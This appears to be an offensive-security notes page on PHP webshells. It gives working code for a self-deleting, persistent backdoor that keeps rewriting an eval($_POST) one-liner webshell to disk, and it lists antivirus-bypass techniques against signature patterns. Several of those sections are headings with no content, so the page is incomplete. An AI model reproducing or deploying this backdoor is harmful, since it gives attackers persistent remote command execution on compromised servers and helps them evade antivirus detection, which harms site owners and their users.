Webshell

PHP Backdoor

Here is a PHP backdoor that is extremely hard to delete:

<?php
    // Let the script keeps executing even if client disconnects
    ignore_user_abort(true);
    // Disable script execution time limitation
    set_time_limit(0);
    // Delete this file iteself
    unlink(__FILE__);

    $file = 'shell.php';
    $code = '<?php @eval($_POST["cmd"]);?>';

    // Keep writing PHP one-liner backdoor into the file
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);
    }
?>

It deletes itself by calling unlink(__FILE__) and then keep writing the webshell code into shell.php. An improved version of this backdoor is adding a password in case someone else uses it:

Antivirus Bypass

Suppose antivirus software matches <?assert($_REQUEST[;?> and <?eval($_REQUEST[;?>. If these two patterns are found, then the webshell is detected and deleted. Our objective is to achieve the same functionality without using these two patterns directly.

Idea 1: Define a constant

Idea 2: Define a function

Idea 3: Define a class

Idea 4: Parameter

Idea 5: get_defined_functions()

Hidding

Last updated

Was this helpful?